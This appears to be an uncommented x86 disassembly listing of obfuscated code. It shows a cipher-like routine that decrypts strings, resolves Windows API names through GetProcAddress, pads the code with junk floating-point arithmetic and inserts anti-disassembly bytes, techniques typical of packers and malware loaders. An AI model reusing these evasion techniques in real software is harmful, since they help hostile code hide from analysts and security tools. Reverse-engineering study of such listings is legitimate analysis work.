mov byte [ebp - 0x32dc], cl
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x324e]
add edx, ecx
mov byte [ebp - 0x324e], dl
mov al, byte [ebp - 0x3233]
add al, 1
mov byte [ebp - 0x3233], al
movss xmm0, dword [0x9d5544]
movss dword [ebp - 0x3e5c], xmm0
movss xmm0, dword [0x9d5334]
movss dword [ebp - 0x3b84], xmm0
movss xmm0, dword [0x9d513c]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x3e5c]
mulss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3e5c], xmm0
movss xmm0, dword [ebp - 0x3b84]
subss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3b84], xmm0
movss xmm0, dword [ebp - 0x3b84]
addss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3b84], xmm0
movss xmm0, dword [ebp - 0x3e5c]
comiss xmm0, dword [ebp - 0x34d4]
jbe 0x498e1f
movss xmm0, dword [ebp - 0x34d4]
mulss xmm0, dword [ebp - 0x3e5c]
movss dword [ebp - 0x34d4], xmm0
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea esi, [ebp - 0xd30]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movss xmm0, dword [ebp - 0x3b84]
mulss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3b84], xmm0
movss xmm0, dword [ebp - 0x34d4]
addss xmm0, dword [ebp - 0x3e5c]
movss dword [ebp - 0x34d4], xmm0
jmp 0x498f52
movss xmm0, dword [ebp - 0x3e5c]
subss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3e5c], xmm0
movss xmm0, dword [ebp - 0x3e5c]
addss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3e5c], xmm0
movss xmm0, dword [ebp - 0x34d4]
divss xmm0, dword [ebp - 0x3b84]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x34d4]
addss xmm0, dword [ebp - 0x3b84]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x34d4]
mulss xmm0, dword [ebp - 0x3b84]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x34d4]
mulss xmm0, dword [ebp - 0x3b84]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x3e5c]
comiss xmm0, dword [ebp - 0x3b84]
jbe 0x498f0a
movss xmm0, dword [ebp - 0x3e5c]
addss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3e5c], xmm0
movss xmm0, dword [ebp - 0x3e5c]
mulss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3e5c], xmm0
movss xmm0, dword [ebp - 0x34d4]
addss xmm0, dword [ebp - 0x3b84]
movss dword [ebp - 0x34d4], xmm0
jmp 0x498f52
movss xmm0, dword [ebp - 0x3b84]
subss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3b84], xmm0
movss xmm0, dword [ebp - 0x34d4]
mulss xmm0, dword [ebp - 0x3e5c]
movss dword [ebp - 0x34d4], xmm0
movss xmm0, dword [ebp - 0x3b84]
addss xmm0, dword [ebp - 0x34d4]
movss dword [ebp - 0x3b84], xmm0
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea esi, [ebp - 0xd30]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea esi, [ebp - 0xd30]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea edx, [ebp - 0xd30]
mov al, byte [ebp - 0x32dc]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x32dc]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x32dd]
add ecx, eax
mov byte [ebp - 0x32dd], cl
movzx edx, byte [ebp - 0x32de]
movzx eax, byte [ebp - 0x324e]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x324d]
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x32dd]
shl eax, 0
lea esi, [ebp - 0xd30]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x324d], dl
mov dl, byte [ebp - 0x32de]
mov byte [ebp - 0x327b], dl
mov al, byte [ebp - 0x324d]
mov byte [ebp - 0x339e], al
cmp dword [ebp - 0x336c], 0
jbe 0x4990c3
mov ecx, dword [ebp - 0x336c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x28a8]
mov al, byte [ebp - 0x339e]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x336c]
add ecx, 1
mov dword [ebp - 0x336c], ecx
mov edx, dword [ebp - 0x352c]
add edx, 1
mov dword [ebp - 0x352c], edx
mov eax, dword [ebp - 0x336c]
shl eax, 1
mov dword [ebp - 0x38f0], eax
mov ecx, dword [ebp - 0x38f0]
shl ecx, 0
add ecx, dword [ebp - 0x39dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3810], edx
mov dword [ebp - 0x3814], 0x90
mov eax, dword [ebp - 0x336c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x38f4], eax
mov ecx, dword [ebp - 0x38f4]
shl ecx, 0
add ecx, dword [ebp - 0x39dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x3818], edx
mov dword [ebp - 0x381c], 2
mov eax, dword [ebp - 0x3810]
sub eax, dword [ebp - 0x3814]
mov dword [ebp - 0x3820], eax
mov ecx, dword [ebp - 0x3818]
sub ecx, dword [ebp - 0x381c]
mov dword [ebp - 0x3824], ecx
mov edx, dword [ebp - 0x3820]
shl edx, 4
mov dword [ebp - 0x38f8], edx
mov eax, dword [ebp - 0x3824]
mov dword [ebp - 0x38fc], eax
mov ecx, dword [ebp - 0x38f8]
or ecx, dword [ebp - 0x38fc]
mov dword [ebp - 0x3900], ecx
mov dl, byte [ebp - 0x3900]
mov byte [ebp - 0x32de], dl
movzx eax, byte [ebp - 0x327b]
shl eax, 0
lea ecx, [ebp - 0xd30]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x32dc], dl
movzx eax, byte [ebp - 0x3233]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x324e]
add eax, edx
mov byte [ebp - 0x324e], al
mov cl, byte [ebp - 0x3233]
add cl, 1
mov byte [ebp - 0x3233], cl
movzx edx, byte [ebp - 0x324e]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [ebp - 0x327b]
shl ecx, 0
lea esi, [ebp - 0xd30]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x324d]
shl eax, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [ebp - 0x324e]
shl edx, 0
lea esi, [ebp - 0xd30]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3233]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx eax, byte [ebp - 0x324d]
shl eax, 0
lea esi, [ebp - 0xd30]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea eax, [ebp - 0xd30]
mov cl, byte [ebp - 0x32dc]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x32dc]
shl edx, 0
lea eax, [ebp - 0xd30]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x32dd]
add edx, ecx
mov byte [ebp - 0x32dd], dl
movzx eax, byte [ebp - 0x32de]
movzx ecx, byte [ebp - 0x324e]
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3233]
shl edx, 0
lea esi, [ebp - 0xd30]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xd30]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x324d]
shl edx, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x327b]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x32dd]
shl ecx, 0
lea esi, [ebp - 0xd30]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xd30]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x324d], al
mov al, byte [ebp - 0x32de]
mov byte [ebp - 0x327b], al
mov cl, byte [ebp - 0x324d]
mov byte [ebp - 0x339e], cl
cmp dword [ebp - 0x336c], 0
jbe 0x499384
mov edx, dword [ebp - 0x336c]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x28a8]
mov cl, byte [ebp - 0x339e]
mov byte [edx + eax], cl
mov edx, 1
imul eax, edx, 0x17
mov dword [ebp - 0x5d74], eax
cmp dword [ebp - 0x5d74], 0x18
jae 0x49939d
jmp 0x4993a2
call fcn.009b1617
lea ecx, [ebp - 0x28a8]
add ecx, dword [ebp - 0x5d74]
mov byte [ecx], 0
jmp 0x499404
mov dword [ebp - 0x336c], 0
jmp 0x4993ce
mov edx, dword [ebp - 0x336c]
add edx, 1
mov dword [ebp - 0x336c], edx
cmp dword [ebp - 0x336c], 0x18
jae 0x499404
mov eax, dword [ebp - 0x336c]
mov dword [ebp - 0x5d70], eax
cmp dword [ebp - 0x5d70], 0x18
jae 0x4993ee
jmp 0x4993f3
call fcn.009b1617
lea ecx, [ebp - 0x28a8]
add ecx, dword [ebp - 0x5d70]
mov byte [ecx], 0
jmp 0x4993bf
lea edx, [ebp - 0x28a8]
push edx
mov eax, dword [ebp - 0x348c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00c40], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x53e4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x51a4], xmm0
mov dword [ebp - 0x3488], 0
mov dword [ebp - 0x4aa4], 0
mov dword [ebp - 0x586c], 0
mov dword [ebp - 0x55f8], 1
mov dword [ebp - 0x4694], 0
mov dword [ebp - 0x5b3c], 0
mov dword [ebp - 0x3e60], 0
mov dword [ebp - 0x47ec], 0
mov dword [ebp - 0x4698], 0
mov dword [ebp - 0x469c], 0
mov dword [ebp - 0x47e8], 0
mov dword [ebp - 0x46a0], 0
mov dword [ebp - 0x46a4], 0
mov dword [ebp - 0x46a8], 0
mov dword [ebp - 0x46ac], 0
mov dword [ebp - 0x47e4], 0
mov dword [ebp - 0x4844], 0
mov dword [ebp - 0x4848], 0
mov dword [ebp - 0x4a64], 0
mov byte [ebp - 0x3310], 0
mov byte [ebp - 0x3343], 0
mov byte [ebp - 0x3472], 0
mov byte [ebp - 0x3344], 0
mov byte [ebp - 0x33c1], 0
mov byte [ebp - 0x340b], 0
mov byte [ebp - 0x3d9f], 0
mov byte [ebp - 0x3473], 0
mov byte [ebp - 0x3471], 0
mov byte [ebp - 0x3496], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x53e4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x51a4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x51a4], xmm0
jmp 0x499572
movsd xmm0, qword [ebp - 0x51a4]
addsd xmm0, qword [0x9d05a8]
movsd qword [ebp - 0x51a4], xmm0
movsd xmm0, qword [0x9d4eb8]
comisd xmm0, xmmword [ebp - 0x51a4]
jbe 0x499623
movsd xmm0, qword [0x9d3d90]
mulsd xmm0, qword [ebp - 0x51a4]
mulsd xmm0, qword [ebp - 0x51a4]
movsd xmm1, qword [ebp - 0x51a4]
mulsd xmm1, qword [ebp - 0x51a4]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d39a0]
mulsd xmm1, qword [ebp - 0x51a4]
mulsd xmm1, qword [ebp - 0x51a4]
addsd xmm1, qword [0x9d3bb0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x53e4]
movsd qword [ebp - 0x53e4], xmm0
movsd xmm0, qword [ebp - 0x53e4]
comisd xmm0, xmmword [0x9d3ce0]
jbe 0x49961e
movsd xmm0, qword [0x9d3940]
mulsd xmm0, qword [ebp - 0x51a4]
movsd xmm1, qword [ebp - 0x53e4]
subsd xmm1, xmm0
movsd qword [ebp - 0x53e4], xmm1
jmp 0x49955a
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x53e4]
jbe 0x49966d
lcall 0x9ec1, 0x9cca9bc7
les esp, [eax - 0x5c315d38]
int 0xa2
lds esp, [edi + eax*8 - 0x3f5b405c]
mov byte [0xa0c3a1ca], al
int 0xa2
int3
mov dword [ebp - 0x6158], 0x499630
mov dword [ebp - 0x6154], 0x49964e
mov ecx, dword [ebp - 0x6158]
mov dword [ebp - 0x49f4], ecx
mov edx, dword [ebp - 0x6154]
mov dword [ebp - 0x6150], edx
mov byte [ebp - 0x3d9f], 0x1e
mov dword [ebp - 0x3488], 0
mov dword [ebp - 0x4aa4], 0
mov dword [ebp - 0x3488], 0
jmp 0x4996cf
mov eax, dword [ebp - 0x3488]
add eax, 1
mov dword [ebp - 0x3488], eax
cmp dword [ebp - 0x3488], 0x100
jae 0x499870
movsd xmm0, qword [0x9d4b10]
movsd qword [ebp - 0x59a8], xmm0
movsd xmm0, qword [0x9d47b8]
movsd qword [ebp - 0x59b0], xmm0
movsd xmm0, qword [0x9d4430]
movsd qword [ebp - 0x51ac], xmm0
movsd xmm0, qword [0x9d4098]
movsd qword [ebp - 0x579c], xmm0
movsd xmm0, qword [ebp - 0x51ac]
mulsd xmm0, qword [ebp - 0x579c]
movsd qword [ebp - 0x51ac], xmm0
movsd xmm0, qword [ebp - 0x59a8]
mulsd xmm0, qword [ebp - 0x579c]
movsd qword [ebp - 0x59a8], xmm0
movsd xmm0, qword [ebp - 0x51ac]
addsd xmm0, qword [ebp - 0x579c]
movsd qword [ebp - 0x51ac], xmm0
movsd xmm0, qword [ebp - 0x51ac]
subsd xmm0, qword [ebp - 0x579c]
movsd qword [ebp - 0x51ac], xmm0
movsd xmm0, qword [ebp - 0x579c]
comisd xmm0, xmmword [ebp - 0x59a8]
jbe 0x4997f3
movsd xmm0, qword [ebp - 0x579c]
divsd xmm0, qword [ebp - 0x59b0]
movsd qword [ebp - 0x579c], xmm0
movsd xmm0, qword [ebp - 0x51ac]
subsd xmm0, qword [ebp - 0x59a8]
movsd qword [ebp - 0x51ac], xmm0
movsd xmm0, qword [ebp - 0x59b0]
divsd xmm0, qword [ebp - 0x579c]
movsd qword [ebp - 0x59b0], xmm0
movsd xmm0, qword [ebp - 0x51ac]
addsd xmm0, qword [ebp - 0x59a8]
movsd qword [ebp - 0x51ac], xmm0
jmp 0x49986b
movsd xmm0, qword [ebp - 0x59b0]
mulsd xmm0, qword [ebp - 0x51ac]
movsd qword [ebp - 0x59b0], xmm0
movsd xmm0, qword [ebp - 0x59b0]
mulsd xmm0, qword [ebp - 0x51ac]
movsd qword [ebp - 0x59b0], xmm0
mov ecx, dword [ebp - 0x3488]
shl ecx, 0
lea edx, [ebp - 0x300c]
mov al, byte [ebp - 0x3488]
mov byte [ecx + edx], al
movsd xmm0, qword [ebp - 0x59a8]
addsd xmm0, qword [ebp - 0x59b0]
movsd qword [ebp - 0x59a8], xmm0
movsd xmm0, qword [ebp - 0x579c]
subsd xmm0, qword [ebp - 0x59a8]
movsd qword [ebp - 0x579c], xmm0
jmp 0x4996c0
mov dword [ebp - 0x4aa4], 0
mov byte [ebp - 0x340b], 0
mov dword [ebp - 0x3488], 0xff
jmp 0x49989c
mov ecx, dword [ebp - 0x3488]
sub ecx, 1
mov dword [ebp - 0x3488], ecx
cmp dword [ebp - 0x3488], 0
jbe 0x499b62
mov dword [ebp - 0x586c], 0
mov dword [ebp - 0x55f8], 1
mov dword [ebp - 0x4694], 0
mov edx, dword [ebp - 0x55f8]
cmp edx, dword [ebp - 0x3488]
jae 0x4998e8
mov eax, dword [ebp - 0x55f8]
shl eax, 1
add eax, 1
mov dword [ebp - 0x55f8], eax
jmp 0x4998c7
mov ecx, dword [ebp - 0x4aa4]
mov dword [ebp - 0x5d6c], ecx
cmp dword [ebp - 0x5d6c], 3
ja case.default.0x499907
mov edx, dword [ebp - 0x5d6c]
jmp dword [edx*4 + 0x4de8bc]
movzx eax, byte [ebp - 0x340b]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x53e4]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340b], bl
jmp 0x499a0e
movzx edx, byte [ebp - 0x340b]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x53e4]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340b], bl
jmp 0x499a0e
movzx ecx, byte [ebp - 0x340b]
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53e4]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340b], bl
jmp 0x499a0e
movzx eax, byte [ebp - 0x340b]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x53e4]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340b], bl
jmp 0x499a0e
movzx edx, byte [ebp - 0x340b]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [edx + eax]
mov edx, dword [ebp - 0x4aa4]
sub edx, 4
shl edx, 0
add edx, dword [ebp - 0x6150]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x340b], cl
mov ecx, dword [ebp - 0x4aa4]
add ecx, 1
mov dword [ebp - 0x4aa4], ecx
movzx edx, byte [ebp - 0x3d9f]
cmp dword [ebp - 0x4aa4], edx
jb 0x499a4c
mov dword [ebp - 0x4aa4], 0
movzx eax, byte [ebp - 0x3d9f]
movzx ecx, byte [ebp - 0x340b]
add ecx, eax
mov byte [ebp - 0x340b], cl
movzx edx, byte [ebp - 0x340b]
and edx, dword [ebp - 0x55f8]
mov dword [ebp - 0x4694], edx
mov eax, dword [ebp - 0x586c]
add eax, 1
mov dword [ebp - 0x586c], eax
cmp dword [ebp - 0x586c], 0xb
jbe 0x499a8b
mov eax, dword [ebp - 0x4694]
xor edx, edx
div dword [ebp - 0x3488]
mov dword [ebp - 0x4694], edx
mov ecx, dword [ebp - 0x4694]
cmp ecx, dword [ebp - 0x3488]
ja 0x4998e8
mov edx, dword [ebp - 0x3488]
cmp edx, dword [ebp - 0x4694]
je 0x499b5d
mov eax, dword [ebp - 0x3488]
shl eax, 0
lea ecx, [ebp - 0x300c]
mov edx, dword [ebp - 0x4694]
shl edx, 0
lea esi, [ebp - 0x300c]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3488]
shl ecx, 0
lea edx, [ebp - 0x300c]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x4694]
shl eax, 0
lea ecx, [ebp - 0x300c]
mov edx, dword [ebp - 0x3488]
shl edx, 0
lea esi, [ebp - 0x300c]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x4694]
shl ecx, 0
lea edx, [ebp - 0x300c]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x3488]
shl eax, 0
lea ecx, [ebp - 0x300c]
mov edx, dword [ebp - 0x4694]
shl edx, 0
lea esi, [ebp - 0x300c]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3488]
shl ecx, 0
lea edx, [ebp - 0x300c]
mov byte [ecx + edx], al
jmp 0x49988d
mov eax, 1
shl eax, 0
lea ecx, [ebp - 0x300c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3310], dl
mov eax, 1
imul ecx, eax, 3
lea edx, [ebp - 0x300c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3343], al
mov ecx, 1
imul edx, ecx, 5
lea eax, [ebp - 0x300c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3472], cl
mov edx, 1
imul eax, edx, 7
lea ecx, [ebp - 0x300c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3344], dl
movzx eax, byte [ebp - 0x340b]
shl eax, 0
lea ecx, [ebp - 0x300c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x33c1], dl
mov dword [ebp - 0x5b3c], 0x1e
cmp dword [ebp - 0x5b3c], 2
jle 0x49aae3
mov eax, dword [ebp - 0x5b3c]
and eax, 1
jne 0x49aae3
mov dword [ebp - 0x3488], 0
mov dword [ebp - 0x3e60], 0
mov ecx, dword [ebp - 0x3e60]
add ecx, 1
mov dword [ebp - 0x3e60], ecx
movsd xmm0, qword [0x9d48f8]
movsd qword [ebp - 0x48bc], xmm0
movsd xmm0, qword [0x9d4738]
movsd qword [ebp - 0x5f34], xmm0
movsd xmm0, qword [0x9d0610]
movsd qword [ebp - 0x53ec], xmm0
movsd xmm0, qword [0x9d43e0]
movsd qword [ebp - 0x6030], xmm0
movsd xmm0, qword [0x9d4238]
movsd qword [ebp - 0x5a58], xmm0
movsd xmm0, qword [0x9d4058]
movsd qword [ebp - 0x5c68], xmm0
movsd xmm0, qword [0x9d3eb0]
movsd qword [ebp - 0x50ec], xmm0
movsd xmm0, qword [ebp - 0x53ec]
mulsd xmm0, qword [ebp - 0x50ec]
movsd qword [ebp - 0x53ec], xmm0
movsd xmm0, qword [ebp - 0x5a58]
subsd xmm0, qword [ebp - 0x50ec]
movsd qword [ebp - 0x5a58], xmm0
movsd xmm0, qword [ebp - 0x48bc]
subsd xmm0, qword [ebp - 0x50ec]
movsd qword [ebp - 0x48bc], xmm0
movsd xmm0, qword [ebp - 0x48bc]
addsd xmm0, qword [ebp - 0x50ec]
movsd qword [ebp - 0x48bc], xmm0
movsd xmm0, qword [ebp - 0x48bc]
mulsd xmm0, qword [ebp - 0x50ec]
movsd qword [ebp - 0x48bc], xmm0
movsd xmm0, qword [ebp - 0x48bc]
mulsd xmm0, qword [ebp - 0x50ec]
movsd qword [ebp - 0x48bc], xmm0
movsd xmm0, qword [ebp - 0x53ec]
subsd xmm0, qword [ebp - 0x50ec]
movsd qword [ebp - 0x53ec], xmm0
movsd xmm0, qword [ebp - 0x48bc]
comisd xmm0, xmmword [ebp - 0x50ec]
jbe 0x499e05
movsd xmm0, qword [ebp - 0x5f34]
addsd xmm0, qword [ebp - 0x6030]
movsd qword [ebp - 0x5f34], xmm0
movsd xmm0, qword [ebp - 0x50ec]
addsd xmm0, qword [ebp - 0x5f34]
movsd qword [ebp - 0x50ec], xmm0
movsd xmm0, qword [ebp - 0x48bc]
addsd xmm0, qword [ebp - 0x53ec]
movsd qword [ebp - 0x48bc], xmm0
movsd xmm0, qword [ebp - 0x48bc]
subsd xmm0, qword [ebp - 0x53ec]
movsd qword [ebp - 0x48bc], xmm0
mov dword [ebp - 0x47ec], 0
movsd xmm0, qword [ebp - 0x5c68]
subsd xmm0, qword [ebp - 0x48bc]
movsd qword [ebp - 0x5c68], xmm0
movsd xmm0, qword [ebp - 0x48bc]
addsd xmm0, qword [ebp - 0x53ec]
movsd qword [ebp - 0x48bc], xmm0
movsd xmm0, qword [ebp - 0x48bc]
mulsd xmm0, qword [ebp - 0x53ec]
movsd qword [ebp - 0x48bc], xmm0
jmp 0x499ead
movsd xmm0, qword [ebp - 0x50ec]
subsd xmm0, qword [ebp - 0x48bc]
movsd qword [ebp - 0x50ec], xmm0
movsd xmm0, qword [ebp - 0x5a58]
mulsd xmm0, qword [ebp - 0x5c68]
movsd qword [ebp - 0x5a58], xmm0
movsd xmm0, qword [ebp - 0x6030]
subsd xmm0, qword [ebp - 0x5a58]
movsd qword [ebp - 0x6030], xmm0
movsd xmm0, qword [ebp - 0x5c68]
subsd xmm0, qword [ebp - 0x50ec]
movsd qword [ebp - 0x5c68], xmm0
movsd xmm0, qword [ebp - 0x5f34]
divsd xmm0, qword [ebp - 0x53ec]
movsd qword [ebp - 0x5f34], xmm0
movsd xmm0, qword [ebp - 0x5a58]
addsd xmm0, qword [ebp - 0x5c68]
movsd qword [ebp - 0x5a58], xmm0
movsd xmm0, qword [ebp - 0x53ec]
subsd xmm0, qword [ebp - 0x6030]
movsd qword [ebp - 0x53ec], xmm0
mov edx, dword [ebp - 0x3488]
shl edx, 1
mov dword [ebp - 0x47ec], edx
mov dword [ebp - 0x4698], 0
mov eax, dword [ebp - 0x47ec]
shl eax, 0
add eax, dword [ebp - 0x49f4]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x4698]
mov dword [ebp - 0x4698], ecx
mov dword [ebp - 0x469c], 0
mov edx, dword [ebp - 0x469c]
add edx, 0x9a
mov dword [ebp - 0x469c], edx
mov dword [ebp - 0x47e8], 0
mov eax, dword [ebp - 0x3488]
shl eax, 1
add eax, 1
mov dword [ebp - 0x47e8], eax
mov dword [ebp - 0x46a0], 0
mov ecx, dword [ebp - 0x47e8]
shl ecx, 0
add ecx, dword [ebp - 0x49f4]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x46a0]
mov dword [ebp - 0x46a0], edx
mov dword [ebp - 0x46a4], 0
mov eax, dword [ebp - 0x46a4]
add eax, 0xbf
mov dword [ebp - 0x46a4], eax
mov dword [ebp - 0x46a8], 0
mov ecx, dword [ebp - 0x4698]
sub ecx, dword [ebp - 0x469c]
add ecx, dword [ebp - 0x46a8]
mov dword [ebp - 0x46a8], ecx
mov dword [ebp - 0x46ac], 0
mov edx, dword [ebp - 0x46a0]
sub edx, dword [ebp - 0x46a4]
add edx, dword [ebp - 0x46ac]
mov dword [ebp - 0x46ac], edx
mov dword [ebp - 0x47e4], 0
mov eax, dword [ebp - 0x46a8]
shl eax, 4
mov dword [ebp - 0x47e4], eax
mov dword [ebp - 0x4844], 0
mov ecx, dword [ebp - 0x46ac]
mov dword [ebp - 0x4844], ecx
mov dword [ebp - 0x4848], 0
mov edx, dword [ebp - 0x47e4]
or edx, dword [ebp - 0x4844]
mov dword [ebp - 0x4848], edx
mov byte [ebp - 0x3473], 0
mov al, byte [ebp - 0x4848]
mov byte [ebp - 0x3473], al
mov byte [ebp - 0x3471], 0
movzx ecx, byte [ebp - 0x33c1]
shl ecx, 0
lea edx, [ebp - 0x300c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3471], al
movzx ecx, byte [ebp - 0x3310]
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3343]
add ecx, eax
mov byte [ebp - 0x3343], cl
mov dl, byte [ebp - 0x3310]
add dl, 1
mov byte [ebp - 0x3310], dl
movzx eax, byte [ebp - 0x3343]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [ebp - 0x33c1]
shl edx, 0
lea esi, [ebp - 0x300c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3344]
shl ecx, 0
lea edx, [ebp - 0x300c]
movzx eax, byte [ebp - 0x3343]
shl eax, 0
lea esi, [ebp - 0x300c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3310]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx ecx, byte [ebp - 0x3344]
shl ecx, 0
lea esi, [ebp - 0x300c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3310]
shl eax, 0
lea ecx, [ebp - 0x300c]
mov dl, byte [ebp - 0x3471]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3471]
shl eax, 0
lea ecx, [ebp - 0x300c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3472]
add eax, edx
mov byte [ebp - 0x3472], al
movzx ecx, byte [ebp - 0x3473]
movzx edx, byte [ebp - 0x3343]
shl edx, 0
lea eax, [ebp - 0x300c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3310]
shl eax, 0
lea esi, [ebp - 0x300c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x300c]
movzx edx, byte [edx + eax]
xor ecx, edx
